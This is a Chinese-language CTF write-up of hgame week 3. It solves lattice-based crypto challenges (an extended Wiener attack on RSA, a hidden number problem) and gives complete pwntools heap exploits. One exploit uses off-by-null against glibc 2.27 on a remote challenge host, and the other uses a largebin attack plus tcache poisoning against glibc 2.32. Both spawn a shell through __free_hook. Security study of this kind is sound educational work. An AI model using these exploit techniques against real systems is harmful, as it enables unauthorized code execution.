第2周作完了不知道扔哪去了,先记录下第3周,因为官方WP已经出来,顺便把没出的题复现一下。最近的比赛都比较不错,相当于近期知识点的总结,有点心经的意思。
Crypto
matrix_equation
题目很短,结了一个式子,求p,q,r
其中temp = (p<<256)+q*k1+r*k2 是83位长,提示p,q,r长度与temp正当,先走一步,再走一步
from Crypto.Util.number import *
import hashlib
from secret import p,q,r
k1=getPrime(256)
k2=getPrime(256)
temp=p*2**256+q*k1+r*k2
hint=len(bin(temp)[2:])
flag='hgame{'+hashlib.sha256(str(p+q+r).encode()).hexdigest()+'}'
print(f'hint={hint}')
print(f'k1={k1}')
print(f'k2={k2}')
"""
83
k1=73715329877215340145951238343247156282165705396074786483256699817651255709671
k2=61361970662269869738270328523897765408443907198313632410068454223717824276837
"""
这个题p左移了256位,如果结果是83位则前边必定被减掉,所以可以先不看p,而是以2^256和k1,k2来造格 k1*q+k2*r +c =0 mod 2^256来解一个最小值
M = matrix(ZZ,[[1,0,k1],[0,1,k2],[0,0,2^256]])
L = M.LLL()
for l in L:
print(hex(l[0]*k1 + l[1]*k2))
'''
[ -9396324357950573888994599 -15154059265021257630097517 5851117074945081723062478]
[ 33281308486653930151733737 -4066293048823621784993250 65301243525031258000907285]
[ 46397424257679676851556254 -57263293525378453480844839 -45515665156713370235083473]
-0xb9742e27428eb7ed3daa0fffffffffffffffffffffffffffffffffffffffffffb28fa4ecb9455aea7f732
0xfbe506b40e73be0aa62bd000000000000000000000000000000000000000000360413813a0faa442adc15
-0xab2673dd080f4d3d3e0d00000000000000000000000000000000000000000025a65126f9f57cd80e9ad1
'''
根据结果0行是最小值,尾部符合83位特征。得到q,r,而头部的数字就是p
#hex(L[0][2]) 0x4d705b1346baa515808ce 83位
q,r = -9396324357950573888994599, -15154059265021257630097517
p = 0xb9742e27428eb7ed3daa1
hex(p*2^256+q*k1+r*k2)
flag='hgame{'+hashlib.sha256(str(p+q+r).encode()).hexdigest()+'}'
#hgame{3633c16b1e439d8db5accc9f602f2e821a66e6d80a412e45eb3e1048dffbb0e2}
exRSA
这题的模板来自lazzzaro的博客,3个d都很小只有768位,n是2048位,给出了3个d对应的e
from Crypto.Util.number import *
from secret import flag
m=bytes_to_long(flag)
p=getStrongPrime(1024)
q=getStrongPrime(1024)
phi=(p-1)*(q-1)
e1=inverse(getPrime(768),phi)
e2=inverse(getPrime(768),phi)
e3=inverse(getPrime(768),phi)
n=p*q
c=pow(m,0x10001,n)
print(f'e1={e1}')
print(f'e2={e2}')
print(f'e3={e3}')
print(f'c={c}')
print(f'n={n}')
"""
e1=5077048237811969427473111225370876122528967447056551899123613461792688002896788394304192917610564149766252232281576990293485239684145310876930997918960070816968829150376875953405420809586267153171717496198336861089523701832098322284501931142889817575816761705044951705530849327928849848158643030693363143757063220584714925893965587967042137557807261154117916358519477964645293471975063362050690306353627492980861008439765365837622657977958069853288056307253167509883258122949882277021665317807253308906355670472172346171177267688064959397186926103987259551586627965406979118193485527520976748490728460167949055289539
e2=12526848298349005390520276923929132463459152574998625757208259297891115133654117648215782945332529081365273860316201130793306570777735076534772168999705895641207535303839455074003057687810381110978320988976011326106919940799160974228311824760046370273505511065619268557697182586259234379239410482784449815732335294395676302226416863709340032987612715151916084291821095462625821023133560415325824885347221391496937213246361736361270846741128557595603052713612528453709948403100711277679641218520429878897565655482086410576379971404789212297697553748292438183065500993375040031733825496692797699362421010271599510269401
e3=12985940757578530810519370332063658344046688856605967474941014436872720360444040464644790980976991393970947023398357422203873284294843401144065013911463670501559888601145108651961098348250824166697665528417668374408814572959722789020110396245076275553505878565603509466220710219260037783849276475397283421068716088638186994778153542817681963059581651103563578804145156157584336712678882995685632615686853980176047683326974283896343322981521150211317597571554542488921290158122634140571148036732893808064119048328855134054709120877895941670166421664806186710346824494054783025733475898081247824887967550418509038276279
c=1414176060152301842110497098024597189246259172019335414900127452098233943041825926028517437075316294943355323947458928010556912909139739282924255506647305696872907898950473108556417350199783145349691087255926287363286922011841143339530863300198239231490707393383076174791818994158815857391930802936280447588808440607415377391336604533440099793849237857247557582307391329320515996021820000355560514217505643587026994918588311127143566858036653315985177551963836429728515745646807123637193259859856630452155138986610272067480257330592146135108190083578873094133114440050860844192259441093236787002715737932342847147399
N=17853303733838066173110417890593704464146824886316456780873352559969742615755294466664439529352718434399552818635352768033531948009737170697566286848710832800426311328560924133698481653594007727877031506265706341560810588064209681809146597572126173303463125668183837840427667101827234752823747483792944536893070188010357644478512143332014786539698535220139784440314481371464053954769822738407808161946943216714729685820896972467020893493349051243983390018762076812868678098172416465691550285372846402991995794349015838868221686216396597327273110165922789814315858462049706255254066724012925815100434953821856854529753
"""
根据模板来填数
#多组低解密指数攻击
#https://lazzzaro.github.io/2020/05/06/crypto-RSA/
import gmpy2
from Crypto.Util.number import long_to_bytes
for i in range(1000):
alpha2 = i/1000
M1 = int(gmpy2.mpz(N)**(3./2))
M2 = int( gmpy2.mpz(N) )
M3 = int(gmpy2.mpz(N)**(3./2 + alpha2))
M4 = int( gmpy2.mpz(N)**(0.5) )
M5 = int( gmpy2.mpz(N)**(3./2 + alpha2) )
M6 = int( gmpy2.mpz(N)**(1.+alpha2) )
M7 = int( gmpy2.mpz(N)**(1.+alpha2) )
D = diagonal_matrix(ZZ, [M1, M2, M3, M4, M5, M6, M7, 1])
B = Matrix(ZZ, [ [1, -N, 0, N**2, 0, 0, 0, -N**3],
[0, e1, -e1, -e1*N, -e1, 0, e1*N, e1*N**2],
[0, 0, e2, -e2*N, 0, e2*N, 0, e2*N**2],
[0, 0, 0, e1*e2, 0, -e1*e2, -e1*e2, -e1*e2*N],
[0, 0, 0, 0, e3, -e3*N, -e3*N, e3*N**2],
[0, 0, 0, 0, 0, e1*e3, 0, -e1*e3*N],
[0, 0, 0, 0, 0, 0, e2*e3, -e2*e3*N],
[0, 0, 0, 0, 0, 0, 0, e1*e2*e3] ]) * D
L = B.LLL()
v = Matrix(ZZ, L[0])
x = v * B**(-1)
phi_ = (e1*x[0,1]/x[0,0]).floor()
try:
d = inverse_mod( 65537, phi_)
m = long_to_bytes(int(power_mod(c, d, N)))
if b'hgame' in m:
print(i)
print(m)
break
except:
pass
#hgame{Ext3ndin9_W1en3r's_att@ck_1s_so0o0o_ea3y}
HNP
可以简单的看成b = [m*t%p%(2^32+1) for t in A]也就是flag与t相乘模p再取后32位
from Crypto.Util.number import *
from secret import flag
def encrypt(m,p,t):
return [(ti*m)%p for ti in t]
m=bytes_to_long(flag[:63])
length=m.bit_length()+8
p=getStrongPrime(length)
n=32
t=[getRandomRange(0,p) for _ in range(n)]
enc=encrypt(m,p,t)
res=[i%(2**n+1) for i in enc]
print(f'p={p}')
print(f't={t}')
print(f'res={res}')
"""
q=11306299241774950053269547103284637414407835125777245204069367567691021928864773207548731051592853515206232365901169778048084146520829032339328263913558053
A=[3322008555255129336821309701482996933045379792432532251579564581211072677403244970423357912298444457457306659801200188166569132560659008356952740599371688, 8276764260264858811845211578415023343942634613522088631021199433066924291049858607045960690574035761370394263154981351728494309737901121703288822616367266, 9872291736922974456420418463601129094227231979218385985149661132792467621940722580745327835405374826293791332815176458750548942757024017382881517284991646, 4021521745142535813153669961146457406640791935844796005344073886289668464885011415887755787903927824762833158130615018326666118383128627535623639046817799, 24569151076141700493541155834378165089870615699969211988778938492838766214386066952596557490584021813819164202001474086538804476667616708172536787956586, 3218501156520848572861458831123822689702035242514803505049101779996231750875036344564322600086861361414609201214822262908428091097382781770850929067404210, 3563405987398375076327633444036492163004958714828685846202818610320439306396912425420391070117069875583786819323173342951172594046652017297552813501557159, 4914709045693863038598225124534515048993310770286105070725513667435983789847547225180024824321458761262390817487861675595466513538901373422149236133926354, 10800566112999947911006702454427389510409658644419749067440812458744391509925306994806187389406032718319773665587324010542068486131582672363925769248595266, 623364920052209790798128731089194813138909691039137935275037339503622126325928773037501254722851684318024014108149525215083265733712809162344553998427324, 4918421097628430613801265525870561041230011029818851291086862970508621529074497601678774921285912745589840510459677522074887576152015356984592589649844431, 7445733357215847370070696136653689748718028080364812263947785747353258936968978183471549706166364243148972154215055224857918834937707555053246184822095602, 9333534755049225627530284249388438694002602645047933865453159836796667198966058177988500184073454386184080934727537200575457598976121667373801441395932440, 5010854803179970445838791575321127911278311635230076639023411571148488903400610121248617307773872612743228998892986200202713496570375447255258630932158822, 6000645068462569819648461070140557521144801013490106632356836325002546400871463957228581143954591005398533252218429970486115490535584071786260818773166324, 8007260909124669381862034901556111245780505987082990804380814797200322228942432673939944693062470178256867366602331612363176408356304641672459456517978560, 10179739175373883376929532026389135792129233730601278687507041429438945598523995700184622359660605910932803141785598758326254886448481046307666042835829725, 8390072767717395701926289779433055672863880336031837009119103448675232362942223633129328309118158273835961567436591234922783953373319767835877266849545292, 7875011911562967874676113680693929230283866841475641162854665293111344467709424408623198370942797099964625447512797138192853009126888853283526034411007513, 5293772811020012501020124775214770193234655210319343058648675411115210453680753070042821835082619634341500680892323002118953557746116918093661769464642068, 2613797279426774540306461931319193657999892129844832159658771717387120246795689678231275371499556522396061591882431426310841974713419974045883021613987705, 9658126012133217804126630005236073513485215390812977974660029053522665282550965040288256074945246850744694519543358777252929661561636241161575937061521711, 2982535220844977621775139406357528876019349385634811795480230677982345697183586203669094998039995683973939721644887543907494963824968042199353945120367505, 107289984878191849357180490850397539311037762262082755398160292401340078782643246498566039415279868796667596686125847400130898160017838981308638814854641, 120993130590874228473811314869823704699012435303134640953201808807618070048912918046616664677916248813062043597607873728870402493717351447905456920806865, 2253040652771796284266254261719805768102740653097446325869783812201171144150768875885963729324915714812719138247784194752636928267712344736198611708630089, 8650007272154283057350664311505887535841268767424545016901418989555620869091145651216448723200240914143882774616678968725523914310965356875681207295242434, 9628747829107584650014156079928108801687158029086221730883999749044532846489666115473993005442192859171931882795973774131309900021287319059216105939670757, 10846936951522093706092027908131679912432689712451920718439096706435533926996215766191967052667966065917006691565771695772798711202812180782901250249613072, 1606865651227988736664127021678689299989045439998336603562232908863405778474520915170766771811336319655792746590981740617823564813573118410064976081989237, 6239063657591721097735049409610872941214078699330136826592958549212481802973973104374548555184907929255031570525343007518434357690480429981016781110249612, 1855365916387114620581029939707053701062476745235578683558063796604744448050278138954359506922875967537567359575662394297579958372107484276360920567730458]
b=[2150646508, 1512876052, 2420557546, 2504482055, 892924885, 213721693, 2708081441, 1242578136, 717552493, 3210536920, 2868728798, 1873446451, 645647556, 2863150833, 2481560171, 2518043272, 3183116112, 3032464437, 934713925, 470165267, 1104983992, 194502564, 1621769687, 3844589346, 21450588, 2520267465, 2516176644, 3290591307, 3605562914, 140915309, 3690380156, 3646976628]
"""
上模板,在这个博客里有几种模式,但没给这种,只需小修即可。
#https://tover.xyz/p/HNP-note/
#b = [m*t%p%(2^32+1) for t in A] 给出模(2^32+1)的余
A0,b0 = A[0],b[0]
A0i = A0.inverse_mod(q)
T = 2**32+1
Ti = T.inverse_mod(q)
R = 2^(512-32-1)
M = matrix(ZZ, 32+2)
for i in range(1,32):
M[i,i] = -q
M[-2,i] = A0i*A[i]%q
M[-1,i] = A0i*Ti*(A[i]*b0 - A0*b[i])%q
M[-2,-2] = 1
M[-1,-1] = R
L = M.LLL()
for l in L:
B0 = l[-2]
x0 = (B0*T+ b0)*A0i%q
flag = long_to_bytes(int(x0))
if b'hgame' in flag:
print(flag)
#b'\xff\xff\xff\xff\xff\xff_hgame{H1dd3n_Numb3r_Pr0bl3m_has_diff3rent_s1tuati0n}\xff\xff\xff\xff'
PWN
你满了,那我就漫出来了!
从名字看就是溢出了
libc-2.27 add有off_by_null
先建一堆块 [0xf0,0x20,0x20]+[0xf0]*8
释放尾部7个后再释放0,tcache填满0会进入unsort
再释放2重建(没有edit)填充pre_size为0+1+2,并利用off_by_null 将3块头0x101改为0x100
释放3时与部分发生合并,这时再建块用到unsort时将与1,2块重叠
用光tcache后再重建0使用unsort将unsort的fp,bk指针落到1块上,show 1得到libc
再释放2后利用unsort建大块与2重叠,修改fp指针,将块建到free_hook
from pwn import *
context(arch='amd64',log_level='debug')
libc = ELF('./libc-2.27.so')
#p = process('./vuln')
p = remote('106.14.57.14', 31774)
def add(idx,size,msg):
p.sendlineafter(b"Your choice:", b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
p.sendafter(b"Content: ", msg)
def free(idx):
p.sendlineafter(b"Your choice:", b'3')
p.sendlineafter(b"Index: ", str(idx).encode())
def show(idx):
p.sendlineafter(b"Your choice:", b'2')
p.sendlineafter(b"Index: ", str(idx).encode())
for i,v in enumerate([0xf0,0x20,0x20]+[0xf0]*8):
add(i,v,b'A')
for i in [4,5,6,7,8,9,10,0]:
free(i)
free(2)
add(2,0x28, flat(0,0,0,0,0x160))
free(3)
for i in [4,5,6,7,8,9,10,0]:
add(i, 0xf0, b'A')
show(1)
libc.address = u64(p.recvline()[:-1].ljust(8,b'\x00')) - 0x70 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
free(2)
add(11,0x50,flat(0,0,0,0,0,0x21,libc.sym['__free_hook']))
add(12,0x20,b'/bin/sh\x00')
add(13,0x20,p64(libc.sym['system']))
free(12)
p.interactive()
Elden Ring Ⅲ
只能块500-900的块,有UAF
由于只能建大块,所以无法直接使用tcache,这里就需要用largetbinAttack将一个地址写到mp_+0x50的tcache_bins处,这里原本应该是0x40就是tcache块最大索引值,最大0x410,不过mp_这个位置在libc里并不是个符号,需要通过后边块最大值0x408来查找。
当修改tcache_bins为大值后,再释放的块就会进入到tcache中。tcache是个好东西,基本没啥检查,随便改。
largebinAttack方法,先释放一个大块进入unsort,再建比它大的块unsort会进入到largebin(作为已归位largebin),这时再释放一个unsort(比它小一点,作为未归位largebin),并修改largebin的bk_nextsize为目标地址,再建大块让第2块unsort归位到largebin这样,与前一个largebin重建指针,会在目标地址处将第2块的地址写上。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./2.32-0ubuntu3.2_amd64/libc.so.6')
cmd = b'>'
def add(idx,size):
p.sendlineafter(cmd, b'1')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
p.sendlineafter(cmd, b'2')
p.sendlineafter(b"Index: ", str(idx).encode())
def show(idx):
p.sendlineafter(cmd, b'4')
p.sendlineafter(b"Index: ", str(idx).encode())
def edit(idx, msg):
p.sendlineafter(cmd, b'3')
p.sendlineafter(b"Index: ", str(idx).encode())
p.sendafter(b"Content: ", msg)
p = process('./vuln')
add(0,0x510)
add(1,0x500)
add(2,0x500)
free(0) #large
add(3,0x600) #建比0大的块0块从unsort进入larget
free(2) #unsort #0是归位的largbin 1是未归位的unsort
edit(0,b'00')
show(0)
libc.address = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3000 -0x4a0 - libc.sym['__malloc_hook']
print(f"{libc.address = :x}")
edit(0,b'A'*0x10)
show(0)
p.recvuntil(b'A'*0x10)
heap_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x290
print(f"{heap_base = :x}")
large_500 = libc.sym['__malloc_hook'] + 0x4a0
heap_cc0 = heap_base + 0xcc0
#mp_ tcache_bins 可通过搜
'''
0x7ffff7fbf280: 0x0000000000020000 0x0000000000020000
0x7ffff7fbf290: 0x0000000000020000 0x0000000000000008
0x7ffff7fbf2a0: 0x0000000000000000 0x0001000000000000
0x7ffff7fbf2b0: 0x0000000000000000 0x0000000000000000
0x7ffff7fbf2c0: 0x0000000000000000 0x0000000000000000
0x7ffff7fbf2d0: 0x0000000000000040 (tcache_bins) 0x0000000000000408
0x7ffff7fbf2e0: 0x0000000000000007 0x0000000000000000
'''
mp_ = libc.address + 0x1e3280
#修改bk_nextsize 再建大块时2块从unsort归位到largetbin 0块bk_nextsize的地址+20处被写入2块的堆地址
#tcache_bins 由原来是0x40块被改大,再释放时会进入tcache
edit(0, flat(large_500,large_500, mp_+0x50-0x20, mp_+0x50-0x20))
add(4,0x600) #unlink
#0x7ffff7fbf2d0: 0x000055555555ccc0 0x0000000000000408
free(1)
free(2)
edit(2, p64(((heap_base+0xcd0)>>12)^libc.sym['__free_hook']))
add(1,0x500)
add(2,0x500)
edit(1, b'/bin/sh\x00')
edit(2, p64(libc.sym['system']))
free(1)
#gdb.attach(p)
#pause()
p.interactive()